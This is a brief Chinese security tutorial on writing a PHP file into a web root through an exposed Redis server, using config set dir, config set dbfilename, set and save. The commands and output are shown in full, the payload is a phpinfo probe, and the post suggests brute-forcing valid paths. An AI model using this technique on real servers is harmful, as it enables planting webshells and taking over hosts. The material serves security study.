本质上是 redis RDB 方式指定保存数据库的路径.
介绍
redis 配置里有 dir 和 dbfilename
dir 存储路径 dbfilename 存储文件名
127.0.0.1:6379> config get dir
1) "dir"
2) "F:\Redis"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
save 保存
利用
config set dir 路径
config dbfilename 文件名
set web 内容
save
127.0.0.1:6379> config set dir F:\phpStudy\WWW
OK
127.0.0.1:6379> config set dbfilename 'info.php'
OK
127.0.0.1:6379> set web '<?php phpinfo() ?>'
OK
另外 config set 不存在的 dir 会报错.
127.0.0.1:6379> config set dir F:\fakepath
(error) ERR Changing directory: No such file or directory
可以写脚本爆破路径
- By:X1r0z[exp10it.cn]
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论